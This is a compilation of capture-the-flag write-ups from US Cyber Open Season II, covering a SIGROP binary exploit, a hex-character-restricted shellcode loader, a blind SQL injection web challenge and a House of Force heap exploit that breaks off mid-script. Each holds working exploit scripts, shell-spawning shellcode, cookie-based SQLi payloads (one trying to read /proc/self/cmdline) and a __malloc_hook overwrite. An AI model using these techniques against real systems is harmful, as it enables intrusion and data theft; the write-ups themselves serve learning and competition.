context.arch = "amd64" ... padding = b'a' * 16 stop_gadget = pop_rax - 0x1c4 + 144 pop_rdi = pop_rax - 0x1c4 + 923 pop_rsi_r15 = pop_rax - 0x1c4 + 921 test_address = pop_rax - 0x1c4 + i payload = padding + p64(pop_rdi) + p64(binsh) + p64(test_address) print(target.recvuntil(b'(Y/*) >>>')) target.sendline(payload) result = target.recvall(timeout=1) print(result) if len(result) >= 2: print('winner') print(hex(test_address)) print(i) target.close() break print('i is', i) target.close()```At an offset of i=37 (5 bytes from the original), it prints '/bin/sh' back to me! As a result, we have confirmation that this leak is accurate, and we have a methodology for printing out subsequent portions of the binary.```b'----------------------------------------------------------------------------\n~ Would you like another push (Y/*) >>>'b' ~ Would you like another push (Y/*) >>>'b' ~ push 0x58585858; ret |'b' 0x557990cdb1c0\n'pop rax ret at 0x557990cdb1c4b'~ Would you like another push (Y/*) >>>'b' ~ push 0x0f050f05; ret |'b' 0x557990cdb1cf\n'syscall at 0x557990cdb1d1b'~ Would you like another push (Y/*) >>>'[+] Receiving all data: Done (9B)[*] Closed connection to 0.cloud.chals.io port 21978b' /bin/sh\n'winner0x557990cdb02537```## Leaking Parts of the Binary and Finally SIGROPing for Real This Time
Initially, I was tempted to just start leaking the full binary and analyzing that for gadgets, which could be done by starting at the likely beginning of the code section, printing "strings", and appending them together with null-terminators in between. However, this would take additional, and I realized that first, I probably should see what was going on with the code section leaks with which I had seemingly been provided.
Here is the script to leak the supposed pop rax gadget:```from pwn import *
target = remote('0.cloud.chals.io', 21978)
print(target.recvuntil(b'Push your way to /bin/sh at :'))
leak = (target.recvline())print(leak)binsh = int(leak, 16)print('binsh is at', hex(binsh))
payload = b'Y'target.send(payload)print(target.recvuntil(b'Would you like another push (Y/*) >>>'))target.sendline(b'Y')
print(target.recvuntil(b'Would you like another push (Y/*) >>>'))target.sendline(b'Y')print(target.recvuntil(b'~ push 0x58585858; ret |'))leak = (target.recvline())print(leak)
pop_rax = int(leak, 16) + 4print('pop rax ret at ', hex(pop_rax))
print(target.recvuntil(b'Would you like another push (Y/*) >>>'))target.sendline(b'Y')print(target.recvuntil(b'~ push 0x0f050f05; ret |'))leak = (target.recvline())print(leak)syscall = int(leak, 16) + 2
print('syscall at', hex(syscall))
print(target.recvuntil(b'Would you like another push (Y/*) >>> '))
padding = b'a' * 16
pop_rdi = pop_rax - 0x1c4 + 923pop_rsi_r15 = pop_rax - 0x1c4 + 921print_gadget = pop_rax - 0x1c4 + 37
payload = padding + p64(pop_rdi) + p64(pop_rax) + p64(print_gadget)
target.sendline(payload)
print(target.recvline())target.interactive()```The snippet of shellcode it leaks out is```b'XXX\xc3\x90]\xc3UH\x89\xe5\xff4%\x05\x0f\x05\x0f\xc3\x90]\xc3UH\x89\xe5\xff4%\x05\x0fXX\xc3\x90]\xc3UH\x89\xe5\xff4%XX\x05\x0f\xc3\x90]\xc3UH\x89\xe5H\x83\xec\x10H\x8d\x05Y\x0e\n'```Here, we can see that pop rax ; ret and syscall gadgets definitely seem to be present in the binary, we just seem to have calculated their offsets somewhat incorrectly. Adding two to the existing supposed pop rax address should give us the actual gadget:```payload = padding + p64(pop_rdi) + p64(pop_rax+2) + p64(print_gadget)``````b'X\xc3\x90]\xc3UH\x89\xe5\xff4%\x05\x0f\x05\x0f\xc3\x90]\xc3UH\x89\xe5\xff4%\x05\x0fXX\xc3\x90]\xc3UH\x89\xe5\xff4%XX\x05\x0f\xc3\x90]\xc3UH\x89\xe5H\x83\xec\x10H\x8d\x05Y\x0e\n'```And if we try similar with the supposed syscall gadget, we see a similar result; two needs to be added to get the actual gadget:```payload = padding + p64(pop_rdi) + p64(syscall) + p64(print_gadget)``````b'%\x05\x0f\x05\x0f\xc3\x90]\xc3UH\x89\xe5\xff4%\x05\x0fXX\xc3\x90]\xc3UH\x89\xe5\xff4%XX\x05\x0f\xc3\x90]\xc3UH\x89\xe5H\x83\xec\x10H\x8d\x05Y\x0e\n'```
At this point, all I have to do is very slightly adjust my SIGROP attempt from earlier, and I can pop a shell!```from pwn import *
target = remote('0.cloud.chals.io', 21978)
context.arch = "amd64"
frame = SigreturnFrame()
print(target.recvuntil(b'Push your way to /bin/sh at :'))
leak = (target.recvline())print(leak)binsh = int(leak, 16)print('binsh is at', hex(binsh))
payload = b'Y'target.send(payload)print(target.recvuntil(b'Would you like another push (Y/*) >>>'))target.sendline(b'Y')
print(target.recvuntil(b'Would you like another push (Y/*) >>>'))target.sendline(b'Y')print(target.recvuntil(b'~ push 0x58585858; ret |'))leak = (target.recvline())print(leak)
pop_rax = int(leak, 16) + 4print('pop rax ret at ', hex(pop_rax))
print(target.recvuntil(b'Would you like another push (Y/*) >>>'))target.sendline(b'Y')print(target.recvuntil(b'~ push 0x0f050f05; ret |'))leak = (target.recvline())print(leak)syscall = int(leak, 16) + 2
print('syscall at', hex(syscall))
print('adjusted pop rax and syscall to be correct')
pop_rax += 2syscall += 2
padding = b'a' * 16
payload = padding + p64(pop_rax) + p64(0xf) + p64(syscall)
frame.rip = syscallframe.rdi = binsh frame.rax = 59frame.rsi = 0frame.rdx = 0
payload += bytes(frame)
target.sendline(payload)
target.interactive()```And here is what that looks like once it runs: ``` knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/CyberOpen22$ python3 push_writeup_solve.py[+] Opening connection to 0.cloud.chals.io on port 21978: Doneb"----------------------------------------------------------------------------\n ~ You stay the course, you hold the line you keep it all together ~ \n ~ You're the one true thing I know I can believe in ~ \n ~ You're all the things that I desire you save me, you complete me ~ \n ~ - Push, Sarah McLachlan. ~ \n----------------------------------------------------------------------------\n<<< Push your way to /bin/sh at :"b' 0x561776aba050\n'binsh is at 0x561776aba050b'----------------------------------------------------------------------------\n~ Would you like another push (Y/*) >>>'b' ~ Would you like another push (Y/*) >>>'b' ~ push 0x58585858; ret |'b' 0x561776ab71c0\n'pop rax ret at 0x561776ab71c4b'~ Would you like another push (Y/*) >>>'b' ~ push 0x0f050f05; ret |'b' 0x561776ab71cf\n'syscall at 0x561776ab71d1adjusted pop rax and syscall to be correct[*] Switching to interactive mode~ Would you like another push (Y/*) >>> $ ls-banner_failbinbootchaldevetcflag.txthomeliblib32lib64libx32mediamntoptprocrootrunsbinservice.confsrvsystmpusrvarwrapper$ cat flag.txtuscg{ch4ng3_and_gr0wth_is_s0_pa1nful}$ ```Thanks for reading! |
# US Cyber Open II - PWN - 16 bit!
## A new and exciting shellcode adventure!
### Description
During the ICC competition we where given a shellcoding challenge to make a base64 encoded shellcode, ie the shellcode could only consist of the characters "a-zA-Z0-9+/=", during an 8 hour ctf we completed it in about 1.5 hours. How long will it take you to create base16 shellcode?
### tl;dr
To solve you had to write shellcode that makes use of xors of known constant data values in order to builds a loader shellcode.
## Triage
We're given a binary that isn't exceptionally interesting. Below is decompiled code from a few key functions that show how it operates.
```c//code automatically generated by ghidraundefined8 main(void)
{ void *pvVar1; setup(); pvVar1 = mmap((void *)0x133713370000,0x1000,7,0x32,-1,0); if (pvVar1 != (void *)0x133713370000) { puts("mmap failed"); /* WARNING: Subroutine does not return */ exit(-1); } read(0,(void *)0x133713370000,100); encode(0x133713370000); (*(code *)0x133713370000)(); return 0;}
```
Here, the main function creates a new region of memory at 0x133713370000, sets it to RWX permissions (perfect for shellcode) and calls it as a function after reading in and encoding a message. This is a classic shellcode challenge setup designed to quickly allow running of hsellcode, in the real world we'd need to do more work to get our shellcode to run naturally.
```c//code from ghidra edited to be more concisechar pos[] = "0123456789ABCDEF";void encode(char *buf)
{ char temp_buffer [128]; memset(temp_buffer,0,0x80); memmove(temp_buffer,buf,100); for (int i = 0; i_c < 100; i += 1) { buf[i * 2 + 1] = pos[temp_buffer[local_c] & 0xf]; buf[i * 2] = pos[(temp_buffer[local_c] >> 4) & 0xf]; } return;}
```
What this does in practice is it takes 100 input bytes in a buffer, and then splits them into nibbles (4 bit sections or a half byte), and then encodes each of these nibbles into their corresponding hex representation. This is essentially the same as converting a string of raw bytes into a hex string. In practice, this means we need to build a shellcode only use (uppercase) hex characters.
## Designing our shellcode, big picture
One huge thing to note, we completely lack the instructions we need to call a syscall, which is normally required to do anything of note. However, we are in a RWX segment, and can use our first shellcode to write a new shellcode without the hex character limitation. So we instead are going to write a shellcode that writes a second shellcode that includes characters we are forbidden. This second shellcode is best off being a shellcode loader as well, since a "read" syscall that allows us to load in an arbitrarily large final shellcode can be done with far less bytes than whatever final shellcode we proceed with.
Firstly, for testing of how bytes disassemble to instructions, I used the following website (https://defuse.ca/online-x86-assembler.htm#disassembly). I proceeded with what is essentially brute force, testing out each combination of bytes and seeing if I got a valid instruction. This highlighted many assembly instructions, what is in the following list are purely instructions that I think can help me. With only these instructions (with immediate values altered) I can load in an and execute an arbitrary shellcode.
```asm
32 30 xor dh,BYTE PTR [rax] ; xor dh,BYTE PTR [rax]34 30 xor al,0x30 ; xor al, imm835 30 30 30 30 xor eax,0x30303030 ; xor eax, imm3230 41 30 xor BYTE PTR [rcx+0x30],al ; xor BYTE PTR [rcx+imm8],al30 42 30 xor BYTE PTR [rdx+0x30],al ; xor BYTE PTR [rdx+imm8],al30 43 30 xor BYTE PTR [rbx+0x30],al ; xor BYTE PTR [rbx+imm8],al30 45 30 xor BYTE PTR [rbp+0x30],al ; xor BYTE PTR [rbp+imm8],al30 46 30 xor BYTE PTR [rsi+0x30],al ; xor BYTE PTR [rsi+imm8],al32 41 30 xor al,BYTE PTR [rcx+0x30] ; xor al, BYTE PTR [rcx+imm8]32 42 30 xor al,BYTE PTR [rdx+0x30] ; xor al, BYTE PTR [rdx+imm8]32 43 30 xor al,BYTE PTR [rbx+0x30] ; xor al, BYTE PTR [rbx+imm8]32 45 30 xor al,BYTE PTR [rbp+0x30] ; xor al, BYTE PTR [rbp+imm8]32 46 30 xor al,BYTE PTR [rsi+0x30] ; xor al, BYTE PTR [rsi+imm8]
```
A quick note on uncommon registers. DH refers to the the upper half of the bottom 16 bits of rdx. So if RDX = 0x012345678abcdef , dh will refer to 0xcd. AL is more common and represents the bottom 8 bits of RAX, so if RAX = 0x012345678abcdef then AL = 0xef
Furthermore, we gain the following assembly instruction from not inputing anything, with there simply being 00 bytes in the empty and unfilled parts of memory.```00 00 add BYTE PTR [rax],al```This is essentially a NOP as long as [rax] points somewhere unimportant and is writable memory. The default RAX value matches this description.
Additionally, when our shellcode begins execution, the following are the initial contents of the registers we have access to. This was run with aslr off, actual addresses may be more scrambled but they should point towards the same objects. ```rax = 0x133713370000 -> start of shellcoderbx = 0x555555555450 -> pointer to the function __libc_csu_initrcx = 0x555555558060 -> pointer to the hex string "0123456789ABCDEF", comes directly before the .bss segment.rdx = 0x1337133700c6 -> end of shellcodersi = 0x133713370000 -> start of shellcode againrdi = 0x7fffffffdd30 -> unimportant/frequently changing stack addressrbp = 0x7fffffffdde0 -> unimportant/frequently changing stack addressrsp = 0x7fffffffddc8 -> unimportant/frequently changing stack address```
Since we have several shellcode "gadgets" that access registers plus a constant offset (that can be represented as 0x30-0x39 or 0x41-0x46), it may be useful to rely on bytes pointed at by these initial register values. We will primarily be using the registers rax, rbx, and rdx. We use rdx as a pointer to a location to write our new shellcode, we use rax (and most frequently, just its last 8 bits al) because we are able to easily alter its value with xor commands. Finally, we use rbx because it points towards a section of code, and this means we will have highly varied and "random" bytes that will remain the same between runs that should be able to be xored together to form any byte.
This gives me the following plan.-Use a combinaton of different imm8 values with `xor al, imm8` and `xor al, BYTE PTR [rbx+imm8]` to xor al into containing any byte value I want.-We then store the al value using `xor BYTE PTR [rdx+imm8],al`-We will need to alter rdx at some point to "move it along" to write more shellcode, we can use `xor dh,BYTE PTR [rax]` for that.
## Building arbitrary al values
We have a total of 32 different bytes we can xor with AL. This is done with all 16 possible imm8 values we have available with `; xor al, imm8` and `xor al, BYTE PTR [rbx+imm8]`. While the former has obvious values, those being 0x30-0x39 + 0x41-0x46, the values are less clear for those referenced around rcx. I dump those values with gdb and assume they remain constant, which is true thanks to them being in an executable segment without any major relocations.
```x/10bx 10bx $rbx+0x300x55897bb67480 <__libc_csu_init+48>: 0x03 0x74 0x1b 0x31 0xdb 0x0f 0x1f 0x000x55897bb67488 <__libc_csu_init+56>: 0x4c 0x89x/6bx $rbx+0x410x55897bb67491 <__libc_csu_init+65>: 0x41 0xff 0x14 0xdf 0x48 0x83```
I then try all combinations of xoring these bytes together, and then choose the combination that xors AL by a given constant value in the shortest number of bytes.
## What do we write?
It takes us on average about 8 bytes to write a single arbitrary byte elsewhere in the binary. This means we need to have a shellcode no longer than around 20 bytes. Our best option for this size constraint is a read shellcode loader. The following is a simple loader that does the job.```48 31 ff xor rdi,rdi48 89 d6 mov rsi,rdx48 c7 c2 00 10 00 00 mov rdx,0x100048 31 c0 xor rax,rax0f 05 syscall ```
Due to writing constraints, we split it up into the following chunks. We need to ensure that the gap between any two chunks is a multiple of two, to ensure that the \x00 bytes pair up and act as a nop.```
rcx + 0x30: 48 31 ff xor rdi,rdi ; set rdi to 0, to read from stdinrcx + 0x33: 48 89 d6 mov rsi,rdx ; set rsi to the end of the original shellcode as a location to read in
rcx + 0x131: 48 c7 c2 00 10 00 00 mov rdx,0x1000 ; a nice big buffer size
rcx + 0x142: 48 31 c0 xor rax,rax ; sets rax = 0, this WILL make \x00\x00 bytes segfault rather than NOPrcx + 0x145: 0f 05 syscall ```
When this shellcode loader runs, I can feed in a new shellcode of up to 0x1000 bytes that will be thrown into rdx, which points at the original end of the shellcode. This should then overwrite all our work with a new, beautiful shellcode that executes /bin/sh.
## Pulling it all together.
I wrote the following script to automatically build the shellcode. However, I also could have manually built it. As a whole, scripting is faster so I advise doing it where possible.
```pythonfrom pwn import *
p = process("./sixteen", env={"LD_PRELOAD": "/home/bee/hackinghobby/cyberopen/libc.so.6"})#p = remote("0.cloud.chals.io", 23261)
gdb.attach(p)
xors = dict()xors[0x0] = b""xors[0x03] = b"\x32\x43\x30"xors[0x74] = b"\x32\x43\x31"xors[0x1b] = b"\x32\x43\x32"xors[0x31] = b"\x32\x43\x33"xors[0xdb] = b"\x32\x43\x34"xors[0x0f] = b"\x32\x43\x35"xors[0x1f] = b"\x32\x43\x36"xors[0x00] = b"\x32\x43\x37"xors[0x4c] = b"\x32\x43\x38"xors[0x89] = b"\x32\x43\x39"xors[0x41] = b"\x32\x43\x41"xors[0xff] = b"\x32\x43\x42"xors[0x14] = b"\x32\x43\x43"xors[0xdf] = b"\x32\x43\x44"xors[0x48] = b"\x32\x43\x45"xors[0x83] = b"\x32\x43\x46"xors[0x30] = b"\x34\x30"xors[0x31] = b"\x34\x31"xors[0x32] = b"\x34\x32"xors[0x33] = b"\x34\x33"xors[0x34] = b"\x34\x34"xors[0x35] = b"\x34\x35"xors[0x36] = b"\x34\x36"xors[0x37] = b"\x34\x37"xors[0x38] = b"\x34\x38"xors[0x39] = b"\x34\x39"xors[0x41] = b"\x34\x41"xors[0x42] = b"\x34\x42"xors[0x43] = b"\x34\x43"xors[0x44] = b"\x34\x44"xors[0x45] = b"\x34\x45"xors[0x46] = b"\x34\x46"
#Iteratively xor all known xor differences by all other known differences, if we create a new xor record it#If our new sequence is mroe efficient, also record it.for loops in range(8): for q in range(256): if q not in xors: continue for i in range(256): if i not in xors: continue combo = i ^ q new = xors[i] + xors[q] if combo not in xors: xors[combo] = new if len(new) < len(xors[combo]): xors[combo] = newtotal = 0for x in range(256): print(hex(x), len(xors[x]), xors[x]) total += len(xors[x])print("Avg bytes per AL xor", total/256.0)
def write_rdx_off(off): return bytes([0x30, 0x42, off]) #we keep a global state of the last al value, to ensure we're always xoring based on the last known valuesimul_al = 0x0def get_xor(goal): global simul_al a = xors[goal^simul_al] simul_al = goal return a def make_shellcode(): # a bit of prelude, this is essentially a NOP that guarantees [rax] points towards 0x30 while [rax+1] points towards 0x30 shellcode = b"\x30\x31\x30\x31" #cluster these two writes together for optimization reasons shellcode += get_xor(0x48) shellcode += write_rdx_off(0x31) shellcode += write_rdx_off(0x34) shellcode += get_xor(0xff) shellcode += write_rdx_off(0x33) shellcode += get_xor(0x31) shellcode += write_rdx_off(0x32) shellcode += get_xor(0x89) shellcode += write_rdx_off(0x35) shellcode += get_xor(0xd6) shellcode += write_rdx_off(0x36) #This xors rdx by 0x100 by xoring dh first by [rax+1] and then by [rax]. shellcode += get_xor(0x1) shellcode += b"\x32\x30" shellcode += get_xor(0x0) shellcode += b"\x32\x30" #now add the final bit of shellcode shellcode += get_xor(0x48) shellcode += write_rdx_off(0x31) shellcode += get_xor(0xc7) shellcode += write_rdx_off(0x32) shellcode += get_xor(0xc2) shellcode += write_rdx_off(0x33) shellcode += get_xor(0x08) shellcode += write_rdx_off(0x35) shellcode += get_xor(0x48) shellcode += write_rdx_off(0x42) shellcode += get_xor(0x31) shellcode += write_rdx_off(0x43) shellcode += get_xor(0xc0) shellcode += write_rdx_off(0x44) shellcode += get_xor(0xf) shellcode += write_rdx_off(0x45) shellcode += get_xor(0x5) shellcode += write_rdx_off(0x46) #ensure our shellcode is of an even length if len(shellcode) % 2 == 1: shellcode += b"\x32\x43\x30" return shellcode #Helper for feeding shellcode into the programdef encode(msg): byted = b"" print(msg) assert len(msg) % 2 == 0 for i in range(0,len(msg),2): mapped = b"0123456789ABCDEF" a = mapped.index(msg[i]) b = mapped.index(msg[i+1]) #print(a, b) byted += bytearray([(a << 4) + b]) return byted code = make_shellcode()print(len(code))p.recvuntil("Data:")p.sendline(encode(code))#input("waiting")
#feed in a nop sled following by a /bin/sh shellcodebinsh = b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"
p.sendline(b"\x90"*0x300 +binsh)p.interactive()```
Final shellcode assembly.```0: 30 31 xor BYTE PTR [rcx],dh2: 30 31 xor BYTE PTR [rcx],dh4: 32 43 45 xor al,BYTE PTR [rbx+0x45]7: 30 42 31 xor BYTE PTR [rdx+0x31],ala: 30 42 34 xor BYTE PTR [rdx+0x34],ald: 32 43 46 xor al,BYTE PTR [rbx+0x46]10: 34 34 xor al,0x3412: 30 42 33 xor BYTE PTR [rdx+0x33],al15: 32 43 42 xor al,BYTE PTR [rbx+0x42]18: 34 31 xor al,0x311a: 30 42 32 xor BYTE PTR [rdx+0x32],al1d: 32 43 39 xor al,BYTE PTR [rbx+0x39]20: 34 31 xor al,0x3122: 30 42 35 xor BYTE PTR [rdx+0x35],al25: 34 44 xor al,0x4427: 32 43 32 xor al,BYTE PTR [rbx+0x32]2a: 30 42 36 xor BYTE PTR [rdx+0x36],al2d: 32 43 44 xor al,BYTE PTR [rbx+0x44]30: 34 30 xor al,0x3032: 34 38 xor al,0x3834: 32 30 xor dh,BYTE PTR [rax]36: 34 31 xor al,0x3138: 34 30 xor al,0x303a: 32 30 xor dh,BYTE PTR [rax]3c: 32 43 45 xor al,BYTE PTR [rbx+0x45]3f: 30 42 31 xor BYTE PTR [rdx+0x31],al42: 32 43 39 xor al,BYTE PTR [rbx+0x39]45: 34 32 xor al,0x3247: 34 34 xor al,0x3449: 30 42 32 xor BYTE PTR [rdx+0x32],al4c: 34 35 xor al,0x354e: 34 30 xor al,0x3050: 30 42 33 xor BYTE PTR [rdx+0x33],al53: 32 43 42 xor al,BYTE PTR [rbx+0x42]56: 34 35 xor al,0x3558: 30 42 35 xor BYTE PTR [rdx+0x35],al5b: 34 43 xor al,0x435d: 32 43 30 xor al,BYTE PTR [rbx+0x30]60: 30 42 42 xor BYTE PTR [rdx+0x42],al63: 34 41 xor al,0x4165: 34 38 xor al,0x3867: 30 42 43 xor BYTE PTR [rdx+0x43],al6a: 32 43 42 xor al,BYTE PTR [rbx+0x42]6d: 34 36 xor al,0x366f: 34 38 xor al,0x3871: 30 42 44 xor BYTE PTR [rdx+0x44],al74: 32 43 42 xor al,BYTE PTR [rbx+0x42]77: 34 30 xor al,0x3079: 30 42 45 xor BYTE PTR [rdx+0x45],al7c: 34 38 xor al,0x387e: 34 32 xor al,0x3280: 30 42 46 xor BYTE PTR [rdx+0x46],al83: 32 43 30 xor al,BYTE PTR [rbx+0x30] ```
But this is all simply the hex string "01012CE0B10B42CF440B32CB410B22C9410B54D2C20B62CD4048204140202CE0B12C942440B245400B32CB450B54C2C00BB4A480BC2CB46480BD2CB400BE48420BF2C0". |
Viewable more nicely [here](https://github.com/NathanOrdSec/ctf-writeups/blob/main/US%20Cyber%20Open%20Season%20II/Black%20Friday%20Writeup.pdf) (https://github.com/NathanOrdSec/ctf-writeups/blob/main/US%20Cyber%20Open%20Season%20II/Black%20Friday%20Writeup.pdf)
-----# Black Friday-----
Black Friday sales are the best, and getting a pretty good deal on a new watch doesn't sound so bad, so let's dive in!
-----
## Diving In
-----
When I first opened this challenge, I initially thought, "cool, SQLi and get a flag using SQLMap!" While that may have entirely been possible, that is not quite the route I took, which may have been a little more difficult. In any event, I started with intercepting traffic using BurpSuite where I tried all the usual suspects for SQLi with comments, unions, and all that fun jazz. When that didn't turn anything up, I did some searching and realized I had forgotten about [blind SQLi](https://book.hacktricks.xyz/pentesting-web/sql-injection#exploiting-blind-sqli) (https://book.hacktricks.xyz/pentesting-web/sql-injection#exploiting-blind-sqli) using AND statements which turned up some results:

_Figure 1: AND 1=2 using the Richmond store, which didn't have any store entries_

_Figure 2: AND 1=1 using the Richmond store, which didn't have any store entries_
-----## Going Deeper-----
With this information in mind, we could start enumerating and setting up information, for example, the DB information, which I believe to be SQLite v. 3.34.1. However, I was doing this with a BurpSuite sniper attack for the version and then a cluster bomb attack for getting full words one character at a time from tables/columns/rows with some manual intervention required.

_Figure 3 Sniper/Cluster Bomb attacks (the latter like above) take time and babysitting._
-----## Automation Auto-magic-----
After sinking some time into this, I thought about automating this, so I did! Python FTW even though the code is a little jank. I found the most common English letters, put them in an array, and prepended letters I would expect to come up in a flag so that the comparisons would be a little quicker. Looking back now, of course, I forgot to move "g" up to the front, but you live and learn.

_Figure 4 Dumping table names! (Modify as needed to get more table names)_
"But wait a minute," the keener among us might ask, "how did you get anything beyond inventory?" Good question! I didn't, up until I learned a bit more about SQL statements. Did you know about the [limit clause](https://www.sqlitetutorial.net/sqlite-limit/) (https://www.sqlitetutorial.net/sqlite-limit/)? Nor did I!
With this new trick in the toolbox, thanks to some GoogleFu and this [PDF](https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf) (https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf) paired with all the other information I could gather; I would eventually come to dump the flag. It only took finding the relevant table, column, and row by a little manual work still because I didn't use functions in Python and just did number changes by hand.

_Figure 5 Flag acquired given enough time!_
As you can see above, the flag gets printed out, so challenge complete!
flag{this\_is\_a\_pretty\_good\_deal}
On the side, I think I made a file reader for SQLite, which I could get to work locally but not remote. This issue likely has to do with permissions of the account used to access the DB remotely versus locally, where I was an administrator. C'est la vie!

_Figure 6 As least I tried!_
-----# **Appendix**
-----
## Code Sample 1
```import requestsimport time#Leak Tablesarr=[" ","_","e","t","a","o","n","s","r","u","c","q","0","1","2","3","4","5","E","T","A","O","N","I","H","S","i","h","l","d","u","c","m","w","y","f","g","p","b","v","k","j","x","z","R","L","D","U","C","M","W","Y","F","G","P","B","V","K","J","X","Q","Z","6","7","8","9"]url="http://host3.metaproblems.com:5900"
for i in range(13,100,1): for j in arr: time.sleep(.4) place=str(i) cookie={"ww_store":'6 and (SELECT SUBSTR(tbl_name,'+place+',1) FROM sqlite_master WHERE type="table" and tbl_name NOT like "sqlite_%")="'+j+'";--'} response=requests.post(url,cookies=cookie) if(len(response.content))<2511: print(i," Found: ",j) #print(response) break if(j==arr[len(arr)-1]): print("Failed on ",i)```
## Code Sample 2
```import requestsimport time#Leak Columns Contentarr=[" ","_","e","t","a","o","n","s","r","u","c","q","0","1","2","3","4","5","E","T","A","O","N","I","H","S","i","h","l","d","u","c","m","w","y","f","g","p","b","v","k","j","x","z","R","L","D","U","C","M","W","Y","F","G","P","B","V","K","J","X","Q","Z","6","7","8","9"]url="http://host3.metaproblems.com:5900"
for i in range(1,250,1): try: for j in arr: time.sleep(.4) place=str(i) cookie={"ww_store":'6 and (SELECT SUBSTR(promo_code,'+place+',1) FROM promos limit 3 offset 2)="'+j+'";--'} response=requests.post(url,cookies=cookie) if(len(response.content))<2511: print(i," Found: ",j) #print(response) break if(j==arr[len(arr)-1]): print("Failed on ",i) except KeyboardInterrupt: continue```
## Code Sample 3
```import requestsimport time#Arb Readarr=[" ",".","/","_","e","t","a","o","n","s","r","u","c","q","0","1","2","3","4","5","E","T","A","O","N","I","H","S","i","h","l","d","u","c","m","w","y","f","g","p","b","v","k","j","x","z","R","L","D","U","C","M","W","Y","F","G","P","B","V","K","J","X","Q","Z","6","7","8","9"]url="http://host3.metaproblems.com:5900"
for i in range(1,200,1): for j in arr: time.sleep(.4) place=str(i) cookie={"ww_store":'6 and (CREATE TEMP TABLE a (value STRING);INSERT INTO a VALUES(readfile("../../../../../proc/self/cmdline"));'+ 'SELECT SUBSTR(value,'+place+',1) FROM a;DROP TABLE a;)="'+j+'";--'} response=requests.post(url,cookies=cookie) if(len(response.content))<2511: print(i," Found: ",j) #print(response) break if(j==arr[len(arr)-1]): print("Failed on ",i)``` |
# US Cyber Open II - PWN - pwn medal
## Description
We wrote this binary to gather a heap of suggestions for our team motto.
### Server
0.cloud.chals.io 10679
### Author
[v10l3nt](https://www.tjoconnor.org/vita)
## Solution
When you first open up the challenge binary, you'll see a function called vuln and upon decompiling, it would look like this:
```unsigned __int64 vuln(){ int i; // [rsp+Ch] [rbp-94h] size_t size; // [rsp+10h] [rbp-90h] BYREF void *v3; // [rsp+18h] [rbp-88h] char *v4; // [rsp+20h] [rbp-80h] char *dest; // [rsp+28h] [rbp-78h] char src[104]; // [rsp+30h] [rbp-70h] BYREF unsigned __int64 v7; // [rsp+98h] [rbp-8h]
v7 = __readfsqword(0x28u); v3 = sbrk(0LL); print_logo(); for ( i = 0; i <= 3; ++i ) { printf("Team size >>> "); __isoc99_scanf("%lu", &size); v4 = (char *)malloc(size); dest = v4; printf("Team motto >>> "); __isoc99_scanf("%100s", src); strcpy(dest, src); v3 = v4; printf("<<< Thank you for your suggestion"); printf("<<< Team data stored securely at : %p\n", v3); printf("<<< Random identifier for motto : %p\n", &rand;; } return v7 - __readfsqword(0x28u);}```
Upon initial analysis, there are a couple interesting anomalies: you are able to allocate as much memory as you want because there is no bounds checking on the scanf function, the memory allocated is never freed, and the libc being used is pretty outdated.Furthermore, the address of the libc function, rand, is leaked along with where your allocation starts.While researching heap vulnerabilities, there are a set of vulnerabilities released by the paper called [The Malloc Maleficarum](https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt).
One of the heap exploits that stood out was the House of Force which can be exploited if the following constraints are met:
- There are three heap calls. (True, the loop runs four times)- There is a heap overflow vulnerability that allows you to overwrite the top chunk size. (True, we can write more data than the actual heap size.)- The heap size can be controlled. (True, the malloc call will create a heap of a size inputted by the user)- There's an allocation that can be written to. (True, strcpy copies any data we put in it into the heap)
So, the House of Force can definitely be used here.
The first step to exploiting the HOF is to overwrite the top chunk header size.In the heap, the top chunk is called the wilderness and each chunk contains a 0x10 block of metadata which includes the size of the chunk.For the wilderness, the size is the amount of memory not allocated in the heap.
We can overwrite the size by allocating the largest unsigned integer which be represented by -1 which becomes 0xffffffffffffffff when converted to unsigned.I did this by allocating a buffer size of 0 and overflowing until I changed the header size to -1:
```def overwriteWildernessSize(mallocSz = 0, target = -1): padding = b'A' * (0x10) targetSize = p64(target, signed=True) + p64(target, signed=True) payload = padding + targetSize malloc(mallocSz, payload) return len(payload)```
You can check if the size changed through the top_chunk command in pwndbg.
```pwndbg> top_chunkTop chunkSize: 0xffffffffffffffff```
Given the rand address, we can tell pwntools to rebase our libc.
```def leakLibc(): io.recvuntil(b'<<< Random identifier for motto : ') rand_addr = int(io.recvuntil(b'\n').rstrip(), 16) libc.address = rand_addr - libc.sym.rand return libc.address```
Through the House of Force, you can create an allocation that is outside the heap which will let you write data onto the stack.In this case, we will allocate enough memory to reach the `__malloc_hook` function which is always called after a malloc.
To determine how much memory is needed, you can subtract the heap location from the target function (\_\_malloc_hook in this case) minus the metadata chunk and the already allocated data.
```def setTopChunk(target, currHeapSize, heapAddr, data, offset=0): distanceFromTarget = target - heapAddr - currHeapSize - offset malloc(distanceFromTarget, data) return(heapAddr + distanceFromTarget) # Target address```
Our third allocation will allow us to overwrite the address of \_\_malloc_hook to another function.In this version of libc, the system call has null byte which causes strcpy to terminate copying the full address.But, we can still call do_system(1) which takes in any command we give it.
```def overwriteAddress(size, addr): malloc(size, p64(addr))overwriteAddress(24, (libc.sym.do_system))```
Now, we can pass in any parameter to do_system() in memory. However, the argument cannot have any spaces.Since this is a Linux system, we can change what we define as a split between arguments by changing the internal field seperator or IFS.You can redefine the IFS by a simple variable assingment (`IFS=:`). Since I want to read out flag.txt, my command ended up like `IFS=:;cat:flag.txt`
But first, we need to write this command somewhere in memory that we can call. Since we are given the address of where our data is stored, I placed this command in the allocation that set `__malloc_hook` as the top chunk.
Now, in the final malloc call, I allocated a chunk size of the address of where the command was stored which caused `do_system()` to take in the parameter and print out the flag.
# Full Script
```from pwn import *exe = context.binary = ELF('twist')libc = ELF('libc-2.27-2.so')
if not args.OFF: context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]
gdbscript = '''break maincontinue'''.format(**locals())
host = args.HOST or "0.cloud.chals.io"port = int(args.PORT or 10679)
def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug(exe.path, gdbscript=gdbscript, *a, **kw) else: return process(exe.path, *a, **kw)
